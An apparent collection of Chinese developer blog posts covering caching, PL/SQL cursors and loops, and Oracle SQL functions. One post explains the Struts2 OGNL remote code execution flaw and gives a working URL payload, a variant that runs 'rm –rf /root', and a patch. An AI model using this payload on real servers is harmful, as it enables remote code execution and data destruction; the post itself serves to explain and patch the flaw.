而动态内容,除了受硬件设备I/O、操作系统I/O及内容、网络环境及页面代码的影响,还要受应用服务器和数据库性能影响,因此,这部份内容,要尽可能作静态化或者伪静态,并采用缓存技术,将其缓存,以减少对应用服务器和数据库服务器的操作次数,提高用户访问效率和稳定性。
23 缓存策略
对于构建的业务系统,如果有些数据要经常要从数据库中读取,同时,这些数据又不经常变化,这些数据就可以在系统中缓存起来,使用时直接读取缓存,而不用频繁的访问数据库读取数据。
缓存工作可以在系统初始化时一次性读取数据,特别是一些只读的数据,当数据更新时更新数据库内容,同时更新缓存的数据值。
例如:在CMS2005系统中,我们将很少发生变化的网站节点树数据,缓存在客户端,当用户登录时,一次性读入到客户端缓存起来,以后编辑在使用时,不用再从数据库中读取,大大提高了应用系统的访问速度。
当然,也可以将数据库中重复访问的数据缓存在应用服务器内存中,减少对数据库的访问次数,Java常用的缓存技术产品有:MemoryCache、OSCache等。
posted @
2010-08-09 17:16 junly 阅读(4787) |
评论 (0) |
编辑 收藏
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<script type=text/javascript src=http://fw.qq.com/ipaddress></script>
<script type=text/javascript>
document.write("当前ip:"+IPData[0]+",省份:"+IPData[2]+",城市:"+IPData[3]);
</script>
</head>
<body>
</body>
</html>
posted @
2010-08-02 17:04 junly 阅读(1201) |
评论 (0) |
编辑 收藏
最近发现 struts 2的这个严重安全漏洞,在http://www.javaeye.com/topic/720209中已经有所表述,主要是OGNL的问题,摘录如下:
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。
目前的解决方法如下,官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
posted @
2010-07-30 18:15 junly 阅读(5489) |
评论 (3) |
编辑 收藏
--SQL游标
--游标:是指向上下文区的指针
/**//*
1 隐含游标
隐含游标又称SQL游标,专门用于处理SELECT INTO,INSERT,UPDATE及DELETE语句,当在PL/SQL中执行
INSERT,UPDATE及DELETE时,为取得DML语句作用的结果,必须要使用SQL游标属性,SQL游标包括sql%found,
sql%notfound,sql%rowcount,sql%isopen四个属性。
(1)sql%isopen 用日元确定SQL游标是否已经打开,当执行SELECT INTO,INSERT,UPDATE及DELETE语句时会隐
含打开游标,并且在执行完成后隐含关闭游标。所以对于开发人员该属性永远为false,不需要使用该属性。
(2)sql%found/sql%notfound 用于确定SQL语句执行是否成功。
SQL语句执行是否成功根据是否有作用来判断,当SQL语句有作用时,sql%found属性值为TRUE(sql%notfound属性值为FALSE);否则反之。*/
declare
v_name user_info.name%type := 'junly';
begin
update user_info set money = money*1.1
where name=v_name;
if sql%found then
dbms_output.put_line('语句执行成功');
else
dbms_output.put_line('用户名不存在');
end if;
end;
-- (3)sql%rowcount 返回SQL语句作用的总计行数
declare
v_name user_info.name%type := 'junly';
begin
update user_info set money = money*1.1
where name=v_name;
dbms_output.put_line('修改了'||sql%rowcount||'行');
end;
/**//*2 显式游标
用于处理SELECT语句
*/
posted @
2010-07-29 17:13 junly 阅读(358) |
评论 (0) |
编辑 收藏
--控制语句
--if
if condition then
statements;
elsif condition then
statements;
else
statements;
end if;
--case
case v_no
when 10 then
statements;
when 20 then
statements;
when 30 then
statements;
else
statements;
end case;
--------------
case
when v_no>30 then
statements;
when v_no>20 then
statements;
when v_no>10 then
statements;
end case;
--loop
loop
statements;
exit when condition;
end loop;
--while
while condition loop
statements;
end loop;
--for
for i in [reverse]
v_start..v_end loop
statements;
end loop;
--i是循环控制变量,不需要显式定义,v_start,v_end分别为下界值和上界值。如果指定reverse则循环变量自动减一。
begin
for i in reverse 1..10 loop
dbms_output.put_line(i);
end loop;
end;
--10,9,8,7,6,5,4,3,2,1
--嵌套循环
declare
result int;
begin
<<outer>>
for i in 1..10 loop
<<inner>>
for j in 1..10 loop
result:=i*j;
exit outer when i=9;
dbms_output.put_line(i||j);
end loop inner;
end loop outer;
end;
posted @
2010-07-29 17:12 junly 阅读(338) |
评论 (0) |
编辑 收藏
数字函数
1.1、ABS(n)函数
描述:返回数值n的绝对值。
Examples:select abs(-15) “test” from dual;
1.2、ACOS(n)函数
描述:返回数值n的反余弦值。输入数值范围在-1~1之间,返回值为弧度。
Examples:select acos(0.6) “test”,acos(-.6) “test1” from dual;
1.3、COS(n)函数
描述: 返回数值n的余弦值。返回值为弧度。
Examples:select cos(1.6) “test”,cos(-6) “test1” from dual;
1.4、SIN(n)函数
描述: 返回数值n的正弦值。
Examples:select sin(1.6) “test”,sin(-6) “test1” from dual;
1.5、ASIN(n)函数
描述: 返回数值n的反正弦值。输入数值范围在-1~1之间,返回值为弧度。
Examples:select asin(0.6) “test”,asin(-0.6) “test1” from dual;
1.6、TAN(n)函数
描述: 返回数值n的正切值。
Examples:select tan(6) “test”,tan(-0.6) “test1” from dual;
1.7、ATAN(n)函数
描述: 返回数值n的反正切值。输入数值任意,返回值为弧度。
Examples:select atan(6) “test”,atan(-0.6) “test1” from dual;
1.8、ATAN2(n,m)函数
描述: 返回数值n/m的反正切值。输入数值任意,返回值为弧度。
Examples:select atan2(19,3) “test”,atan2(-9,-0.9) “test1” from dual;
1.9、SINH(n)函数
描述: 返回数值n的双曲正弦值。输入数值任意。
Examples:select sinh(6) “test”,sinh(-0.6) “test1” from dual;
1.10、TANH(n)函数
描述: 返回数值n的双曲正切值。输入数值任意。
Examples:select tanh(6) “test”,tanh(-0.6) “test1” from dual;
1.11、CEIL(n)函数
描述: 返回大于等于数值n的最小整数。
Examples:select ceil(6) “test”,ceil(6.6) “test1” from dual;
1.12、COSH(n)函数
描述: 返回数值n的双曲余弦值。
Examples:select cosh(6) “test”,cosh(6.6) “test1” from dual;
1.13、EXP(n)函数
描述: 返回e的n次冥。(e=2.71828183…)
Examples:select exp(6) “test” from dual;
1.14、FLOOR(n)函数
描述: 返回小于等于数值n的最大整数。
Examples:select floor(6) “test”,floor(9.3) “test1” from dual;
1.15、LN(n)函数
描述: 返回数值n的自然对数。(n必须大于0)
Examples:select ln(6) “test” from dual;
1.16、LOG(m,n)函数
描述: 返回以m为底的数值n的对数。(m>1,n>0)
Examples:select log(6,3) “test” from dual;
1.17、MOD(m,n)函数
描述: 返回m/n后的余数,若n=0,则返回m(求模运算)
Examples:select mod(6,3) “test” from dual;
1.18、POWER(m,n)函数
描述: 返回m的n次冥
Examples:select power(6,3) “test” from dual;
1.19、ROUND(n,[m])函数
描述: 执行四舍五入运算,m可以省略,当省略m时,四舍五入到整数位;当m为正数时,四舍五入到小数点后m位;当m为负数时,四舍五入到小数点前m位。
Examples:select round(6.698,2) “test” from dual;
1.20、SIGN(n)函数
描述: 检测数值的正负,当n<0则返回-1;当n>0则返回1,当n=0返回0。
Examples:select sign(6.698) “test”,sign(-9) “test1”,sign(0) “test2” from dual;
1.21、SQRT(n)函数
描述: 返回数值n的平方根。(n>=0)
Examples:select sqrt(6.698) “test” from dual;
1.22、TRUNC(n,[m])函数
描述: 截取数值n,m可以省略,当省略m时则截取n的小数部分;当m为正数时则将n截取到小数点后m位;当m为负数时则将n截取到小数点前m位
Examples:select trunc(6.698,2) “test”,trunk(696.3,-2) “test1” from dual;
字符函数
说明:字符函数输入值为字符类型,返回值为字符类型或数字类型,可以在sql语句中直接使用,也可以在pl/sql块中使用。
2.1、ASCII(n)函数
描述: 返回字符串的ascii码(当输入为字符串时返回第一个字符的ascii码)
Examples:select ascii(‘A’) “test”,ascii(‘我们’) “test1” from dual;
2.2、CHR(n)函数
描述: 返回对应的ascii码的字符(n必须为数字类型)
Examples:select ascii(54992) “test” from dual;
2.3、CONCAT(n,m)函数
描述: 连接n和m,n和m可以是字符,也可以是字符串。作用和”||”一样。
Examples:select concat(‘中国’,’人民’) “test” from dual;
2.4、INITCAP(n)函数
描述: 将字符串n中每个单词首字母大写,其余小写(区分单词的规则是按空格或非字母字符;可以输入中文字符,但没有任何作用)
Examples:select initcap(‘中 国 人 民’) “test”,initcap(‘my word’) “test1”,initcap(‘my中国word’) “test2” from dual;
2.5、INSTR(chr1,chr2,[n,[m]])函数
描述: 获取字符串chr2在字符串chr1中出现的位置。n和m可选,省略是默认为1;n代表开始查找的起始位置,当n为负数从尾部开始搜索;m代表字串出现的次数。
Examples:select instr('pplkoopijk','k',-1,1) “test” from dual;
备注:当n为负数从尾部搜索,但返回值仍然是按正向排列得出的位置。
2.6、LENGTH(n)函数
描述: 返回字符或字符串长度。(当n为null时,返回nll;返回的长度包括后面的空格)
Examples:select length('ppl ') “test”,length(null) “test1” from dual;
2.7、LOWER(n)函数
描述: 将n转换为小写。
Examples:select lower('KKKD') “test” from dual;
2.8、LPAD(chr1,n,[chr2])函数
描述: 在chr1左边填充字符chr2,使得字符总长度为n。chr2可选,默认为空格;当chr1字符串长度大于n时,则从左边截取chr1的n个字符显示。
Examples:select lpad('kkk',5) “test”,lpad(‘kkkkk’,4) “test1”,lpad(‘kkk’,6,’lll’) “test2” from dual;
2.9、LTRIM(chr,[n])函数
描述: 去掉字符串chr左边包含的n字符串中的任何字符,直到出现一个不包含在n中的字符为止。
Examples:select ltrim('abcde',’a’) “test”,ltrim(‘abcde’,’b’) “test1”,ltrim(‘abcdefg’,’cba’) “test2” from dual;
2.10、NLS_INITCAP(chr,[’nls_param’])函数
描述: 将chr首字母大写。Nls_param可选,指定排序的方式。(有SCHINESE_RADICAL_M(部首、笔画),SCHINESE_STROKE_M(笔画、部首),SCHINESE_PINYIN_M(拼音))
Examples:select nls_initcap('ab cde') “test”,nls_initcap(‘a b c d e’,’nls_sort= SCHINESE_PINYIN_M’) “test1” from dual;
2.11、NLS_LOWER(chr,[‘nls_param’])函数
描述: 将字符串转换为小写。Nls_param可选,指定排序的方式。(有SCHINESE_RADICAL_M(部首、笔画),SCHINESE_STROKE_M(笔画、部首),SCHINESE_PINYIN_M(拼音))
Examples:select nls_lower('ABC') “test”,nls_lower(‘ABC’,’nls_sort= SCHINESE_PINYIN_M’) “test1” from dual;
2.12、NLSSORT(col,[’nls_param’])函数
描述: 根据nls_param指定的方式对col字段进行排序。
Examples:SELECT part_number FROM cux_om_part_all ORDER BY nlssort(part_number,'nls_sort=SCHINESE_RADICAL_M')
2.13、NLS_UPPER(chr,[‘nls_param’])函数
描述: 将chr转换为大写。Nls_param可选,用于指定排序规则
Examples:SELECT nls_upper('ddddd','nls_sort=xdanish') FROM dual
2.14、REGEXP_REPLACE(source_string,pattern,replace_string,position,occurtence,match_parameter)函数(10g新函数)
描述:字符串替换函数。相当于增强的replace函数。Source_string指定源字符表达式;pattern指定规则表达式;replace_string指定用于替换的字符串;position指定起始搜索位置;occurtence指定替换出现的第n个字符串;match_parameter指定默认匹配操作的文本串。
其中replace_string,position,occurtence,match_parameter参数都是可选的。
2.15、REGEXP_SUBSTR(source_string, pattern[,position [, occurrence[, match_parameter]]])函数(10g新函数)
描述:返回匹配模式的子字符串。相当于增强的substr函数。Source_string指定源字符表达式;pattern指定规则表达式;position指定起始搜索位置;occurtence指定替换出现的第n个字符串;match_parameter指定默认匹配操作的文本串。
其中position,occurtence,match_parameter参数都是可选的
Examples:select regexp_substr(‘http://www.oracle.com/products’,’http://([[:alnum:]]+\.?) {3,4} / ?’) “regexp_substr” from dual
2.16、REGEXP_LIKE(source_string, pattern
[, match_parameter])函数(10g新函数)
描述:返回满足匹配模式的字符串。相当于增强的like函数。Source_string指定源字符表达式;pattern指定规则表达式;match_parameter指定默认匹配操作的文本串。
其中position,occurtence,match_parameter参数都是可选的
Examples:
2.17、REGEXP_INSTR(source_string, pattern
[, start_position
[, occurrence
[, return_option
[, match_parameter]]]])函数(10g新函数)
描述: 该函数查找 pattern ,并返回该模式的第一个位置。您可以随意指定您想要开始搜索的 start_position。 occurrence 参数默认为 1,除非您指定您要查找接下来出现的一个模式。return_option 的默认值为 0,它返回该模式的起始位置;值为 1 则返回符合匹配条件的下一个字符的起始位置
Examples:
附注:上面红色标题的四个函数是oracle 10g才有的函数,使用正则表达式可以实现很强大的功能。鉴于变化太多,可以参考oracle的官方文档:SQL Reference(第七章)
2.18、REPLACE(chr,search_string,[,replacement_string])函数
描述:将chr中满足search_string条件的替换为replacement_string指定的字符串,当search_string为null时,返回chr;当replacement_string为null时,返回chr中截取掉search_string部分的字符串。
Examples: SELECT REPLACE('abcdeef','e','oo') "test",REPLACE('abcdeef','ee','oo') "test1",REPLACE('abcdeef',NULL,'oo') "test2",REPLACE('abcdeef','ee',NULL) "test3" FROM dual
2.19、RPAD(chr1,n,chr2)函数
描述:在chr1右边填充chr2,使返回字符串长度为n..当chr1长度大于n时,返回左端n个字符。参考LPAD()函数。
2.20、RTRIM(chr,[set])函数
描述:去掉chr右边包含的set中的任何字符,直到出现一个不是set中的字符结束。参考LTRIM()函数。
2.21、SOUNDEX(chr)函数
描述:返回字符串的语音表示,可以用来比较字符串的发音是否相同。
Examples:select soundex(‘ship’) “test”,soundex(‘sleep’) “test1” from dual;
2.22、SUBSTR(chr,m[,n])函数
描述:取chr的子串。M代表开始位置,n是要取的长度。当m为0时从首字符开始,当m为负时从字符串尾部开始截取。
Examples:select substr(‘abcdef’,0,3) “test”,substr(‘abcdef’,1,3) “test1”,substr(‘abcdef’,-3,3) “test2”,substr(‘abcdef’,-1,3) “test3” from dual
注意:m取0或1时,开始位置是一样的,都是从第一位开始,m为负的时候,仍然是按从左到右的顺序取,所以如果m为-1,n的长度再大,也只能取到最后一个字符,因为chr右边已经没有字符了。
2.23、TRANSLATE(chr,from_str,to_str)函数
描述:另一种替换函数的用法。
Examples: SELECT translate('abcdeabc','abc','fgh') "test",translate('abcdeabc','abc','hf') "test1",translate('abcdeabc','ab','hfgh') "test2",translate('abcdeabc','abc',' ') "test3" FROM dual
注意:匹配的规则是from_str和to_str每个字符按顺序相对应,如果from_str字符少于to_str中的字符,则只替换能对应的字符,to_str后面不能和from_str对应的字符则不管,如果from_str字符多于to_str字符,则from_str中找不到对应字符按照null来处理。
2.24、TRIM(chr)函数
TRIM函数将字符串的前缀(或尾随)字符删除。
其具体的语法格式如下:
TRIM([LEADING|TRAILING|BOTH][trimchar FROM] string)
其中:
LEADING 指明仅仅将字符串的前缀字符删除
TRAILING 指明仅仅将字符串的尾随字符删除
BOTH 指明既删除前缀字符,也删除尾随字符。这也是默认方式
string 任意一待处理字符串
trimchar 可选项。指明试图删除什么字符,默认被删除的字符是空格
下面是该函数的使用情况:
TRIM(’ Ashley ’)=‘Ashley’
TRIM(LEADING ’*’ FROM’***Ashley***’)=‘Ashley***’
2.25、UPPER(chr)函数
UPPER函数间返回字符串的大写形式。
其具体的语法格式如下:
UPPER(string)
其中:
string 任意VARCHAR2或CHAR型字符串
下面是该函数的使用情况:
UPPER(’THIS IS a Test’)=‘THIS IS A TEST’
日期函数
3.1、add_months(d,n)
说明:用于从一个日期值增加或减少一些月份,d代表一个日期,n为正数则代表在d日期 上增加n月份,n为负数则代表在d日期上减少n月
例:select add_months(sysdate,12) "Next Year" from dual;
3.2、current_date()
说明:返回当前会话时区中的当前日期时间
alter session set time_zone=’-11:00’(更改当前会话时区命令)
例:select sessiontimezone,current_date from dual;
3.3、dbtimezone()
说明:返回数据库实例时区
select dbtimezone from dual;
3.4、extract()
说明:显示指定格式的日期值。
select extract(month from sysdate) "This Month" from dual;
select extract(year from add_months(sysdate,36)) "3 Years Out" from dual;
3.5、last_day()
说明:返回包含了日期参数的月份的最后一天的日期
select last_day(sysdate) "last" from dual;
3.6、months_between(d1,d2)
说明:返回d1和d2两个月份之间相差的月数,若d1<d2,返回负数;d1>d2,返回正数;若d1和d2都是月底或者天数相同,则返回整数,否则以每月31天为基准数返回小数。
select months_between(to_date('2007-01-31','yyyy-mm-dd'),to_date('2006-11-30','yyyy-mm-dd')) from dual;
3.7、next_day(d,varchar2)
说明:返回日期d指定的在日期d之后的第一个工作日;
SELECT next_day(SYSDATE,'星期四') FROM dual;
Select next_day(sysdate,’monday’) from dual; 错误,不能使用英文单词
返回当前日期后的第一个星期四的日期。若当前日期已经是星期四或过了星期四,则返回下周的星期四对应的日期,否则返回本周星期四的日期。
注意:varchar2指定工作日的时候和当前数据库实例的参数设置有关,字符串需要用中文写,如果中文不行,就使用英文星期代表。
3.8、round(d,fmt)
说明:返回日期时间的四舍五入结果。如果fmt指定年,则以7月1日为分界;如果指定月,则以16日为分界;关于按天来四舍五入,在测试时无法理解(资料上解释按天的时候是以中午12:00为分界)
Select round(sysdate,’month’) from dual;
3.9、trunc(d,fmc)
说明:按照指定的格式截断日期,如果指定格式为年,则结果为本年1月1日,如果格式指定为月,则结果为本月1日,关于格式指定为天还未理解。
SELECT trunc(SYSDATE,'month') FROM dual;
3.10、sysdate
应用:
1. 日期和字符转换函数用法(to_date,to_char)
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss') as nowTime from dual; //日期转化为字符串
select to_char(sysdate,'yyyy') as nowYear from dual; //获取时间的年
select to_char(sysdate,'mm') as nowMonth from dual; //获取时间的月
select to_char(sysdate,'dd') as nowDay from dual; //获取时间的日
select to_char(sysdate,'hh24') as nowHour from dual; //获取时间的时
select to_char(sysdate,'mi') as nowMinute from dual; //获取时间的分
select to_char(sysdate,'ss') as nowSecond from dual; //获取时间的秒
select to_date('2004-05-07 13:23:44','yyyy-mm-dd hh24:mi:ss') from dual//
2. select to_char( to_date(222,'J'),'Jsp') from dual
显示Two Hundred Twenty-Two
3.求某天是星期几
select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day') from dual;
星期一
select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE = American') from dual;
monday
设置日期语言
ALTER SESSION SET NLS_DATE_LANGUAGE='AMERICAN';
也可以这样
TO_DATE ('2002-08-26', 'YYYY-mm-dd', 'NLS_DATE_LANGUAGE = American')
4. 两个日期间的天数
select floor(sysdate - to_date('20020405','yyyymmdd')) from dual;
5. 时间为null的用法
select id, active_date from table1
UNION
select 1, TO_DATE(null) from dual;
注意要用TO_DATE(null)
6.月份差
a_date between to_date('20011201','yyyymmdd') and to_date('20011231','yyyymmdd')
那么12月31号中午12点之后和12月1号的12点之前是不包含在这个范围之内的。
所以,当时间需要精确的时候,觉得to_char还是必要的
7. 日期格式冲突问题
输入的格式要看你安装的ORACLE字符集的类型, 比如: US7ASCII, date格式的类型就是: '01-Jan-01'
alter system set NLS_DATE_LANGUAGE = American
alter session set NLS_DATE_LANGUAGE = American
或者在to_date中写
select to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE = American') from dual;
注意我这只是举了NLS_DATE_LANGUAGE,当然还有很多,
可查看
select * from nls_session_parameters
select * from V$NLS_PARAMETERS
8.
select count(*)
from ( select rownum-1 rnum
from all_objects
where rownum <= to_date('2002-02-28','yyyy-mm-dd') - to_date('2002-
02-01','yyyy-mm-dd')+1
)
where to_char( to_date('2002-02-01','yyyy-mm-dd')+rnum-1, 'D' )
not in ( '1', '7' )
查找2002-02-28至2002-02-01间除星期一和七的天数
在前后分别调用DBMS_UTILITY.GET_TIME, 让后将结果相减(得到的是1/100秒, 而不是毫秒).
9. 查找月份
select months_between(to_date('01-31-1999','MM-DD-YYYY'),to_date('12-31-1998','MM-DD-YYYY')) "MONTHS" FROM DUAL;
1
select months_between(to_date('02-01-1999','MM-DD-YYYY'),to_date('12-31-1998','MM-DD-YYYY')) "MONTHS" FROM DUAL;
1.03225806451613
10. Next_day的用法
Next_day(date, day)
Monday-Sunday, for format code DAY
Mon-Sun, for format code DY
1-7, for format code D
11
select to_char(sysdate,'hh:mi:ss') TIME from all_objects
注意:第一条记录的TIME 与最后一行是一样的
可以建立一个函数来处理这个问题
create or replace function sys_date return date is
begin
return sysdate;
end;
select to_char(sys_date,'hh:mi:ss') from all_objects;
12.获得小时数
extract()找出日期或间隔值的字段值
SELECT EXTRACT(HOUR FROM TIMESTAMP '2001-02-16 2:38:40') from offer
SQL> select sysdate ,to_char(sysdate,'hh') from dual;
SYSDATE TO_CHAR(SYSDATE,'HH')
-------------------- ---------------------
2003-10-13 19:35:21 07
SQL> select sysdate ,to_char(sysdate,'hh24') from dual;
SYSDATE TO_CHAR(SYSDATE,'HH24')
-------------------- -----------------------
2003-10-13 19:35:21 19
13.年月日的处理
select older_date,
newer_date,
years,
months,
abs(
trunc(
newer_date-
add_months( older_date,years*12+months )
)
) days
from ( select
trunc(months_between( newer_date, older_date )/12) YEARS,
mod(trunc(months_between( newer_date, older_date )),12 ) MONTHS,
newer_date,
older_date
from (
select hiredate older_date, add_months(hiredate,rownum)+rownum newer_date
from emp
)
)
14.处理月份天数不定的办法
select to_char(add_months(last_day(sysdate) +1, -2), 'yyyymmdd'),last_day(sysdate) from dual
16.找出今年的天数
select add_months(trunc(sysdate,'year'), 12) - trunc(sysdate,'year') from dual
闰年的处理方法
to_char( last_day( to_date('02' | | :year,'mmyyyy') ), 'dd' )
如果是28就不是闰年
17.yyyy与rrrr的区别
'YYYY99 TO_C
------- ----
yyyy 99 0099
rrrr 99 1999
yyyy 01 0001
rrrr 01 2001
18.不同时区的处理
select to_char( NEW_TIME( sysdate, 'GMT','EST'), 'dd/mm/yyyy hh:mi:ss') ,sysdate
from dual;
19.5秒钟一个间隔
Select TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300) * 300,'SSSSS') ,TO_CHAR(sysdate,'SSSSS')
from dual
2002-11-1 9:55:00 35786
SSSSS表示5位秒数
20.一年的第几天
select TO_CHAR(SYSDATE,'DDD'),sysdate from dual
310 2002-11-6 10:03:51
21.计算小时,分,秒,毫秒
select
Days,
A,
TRUNC(A*24) Hours,
TRUNC(A*24*60 - 60*TRUNC(A*24)) Minutes,
TRUNC(A*24*60*60 - 60*TRUNC(A*24*60)) Seconds,
TRUNC(A*24*60*60*100 - 100*TRUNC(A*24*60*60)) mSeconds
from
(
select
trunc(sysdate) Days,
sysdate - trunc(sysdate) A
from dual
)
select * from tabname
order by decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');
//
floor((date2-date1) /365) 作为年
floor((date2-date1, 365) /30) 作为月
d(mod(date2-date1, 365), 30)作为日.
23.next_day函数 返回下个星期的日期,day为1-7或星期日-星期六,1表示星期日
next_day(sysdate,6)是从当前开始下一个星期五。后面的数字是从星期日开始算起。
1 2 3 4 5 6 7
日 一 二 三 四 五 六
---------------------------------------------------------------
select (sysdate-to_date('2003-12-03 12:55:45','yyyy-mm-dd hh24:mi:ss'))*24*60*60 from ddual
日期 返回的是天 然后 转换为ss
24,round[舍入到最接近的日期](day:舍入到最接近的星期日)
select sysdate S1,
round(sysdate) S2 ,
round(sysdate,'year') YEAR,
round(sysdate,'month') MONTH ,
round(sysdate,'day') DAY from dual
25,trunc[截断到最接近的日期,单位为天] ,返回的是日期类型
select sysdate S1,
trunc(sysdate) S2, //返回当前日期,无时分秒
trunc(sysdate,'year') YEAR, //返回当前年的1月1日,无时分秒
trunc(sysdate,'month') MONTH , //返回当前月的1日,无时分秒
trunc(sysdate,'day') DAY //返回当前星期的星期天,无时分秒
from dual
26,返回日期列表中最晚日期
select greatest('01-1月-04','04-1月-04','10-2月-04') from dual
27.计算时间差
注:oracle时间差是以天数为单位,所以换算成年月,日
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))/365) as spanYears from dual //时间差-年
select ceil(moths_between(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))) as spanMonths from dual //时间差-月
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))) as spanDays from dual //时间差-天
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24) as spanHours from dual //时间差-时
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24*60) as spanMinutes from dual //时间差-分
select floor(to_number(sysdate-to_date('2007-11-02 15:55:03','yyyy-mm-dd hh24:mi:ss'))*24*60*60) as spanSeconds from dual //时间差-秒
28.更新时间
注:oracle时间加减是以天数为单位,设改变量为n,所以换算成年月,日
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n*365,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-年
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),add_months(sysdate,n) as newTime from dual //改变时间-月
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-日
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-时
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24/60,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-分
select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'),to_char(sysdate+n/24/60/60,'yyyy-mm-dd hh24:mi:ss') as newTime from dual //改变时间-秒
29.查找月的第一天,最后一天
SELECT Trunc(Trunc(SYSDATE, 'MONTH') - 1, 'MONTH') First_Day_Last_Month,
Trunc(SYSDATE, 'MONTH') - 1 / 86400 Last_Day_Last_Month,
Trunc(SYSDATE, 'MONTH') First_Day_Cur_Month,
LAST_DAY(Trunc(SYSDATE, 'MONTH')) + 1 - 1 / 86400 Last_Day_Cur_Month
FROM dual;
转换函数
4.1、asciistr(str)
说明:将任意字符集的字符串转换为当前数据库实例对应的ascii字符串。
SELECT asciistr('中华民族') FROM dual;
备注:和该函数相似的有ascii,它是取得字符串第一个字符的ascii码,后面的字符不管;chr是将ascii码转换为对应的字符。
4.2、cast()
说明:将一个内置数据类型或集合类型转变为另一个内置数据类型或集合类型。
SELECT CAST(SYSDATE AS VARCHAR2(100)) FROM dual;
4.3、chartorowid(str)
说明:将字符串转变为rowid数据类型,但字符串必须符合rowid格式。
4.4、convert(str,char_set,source_char_set)
说明:将字符串从一个字符集转变为另一个字符集。Str为要转变的字符串,char_set为转变后的字符集,source_char_set为该字符串原始的字符集。
SELECT convert('中国','US7ASCII','ZHS16GBK') FROM dual;
4.4、rowidtochar(rowid)
说明:将rowid转换为对应的varchar2数据类型值。
4.5、to_char()
select to_char(n’中国’) from dual; 转变为本地字符集类型
select to_char(10000,’L99G999D99MI’) from dual; 转换成货币格式
4.6、to_date()
转变为日期格式。
4.7、to_number()
将字符串转变为数字值,但字符串必须是数字(0~9)。
单行函数
decode(exer.search1,result1[search2,result2,...][,defalut])
用于匹配特定表达式的结果,如果search1匹配于exer,则返回result1,如果search2匹配于exer则返回result2,
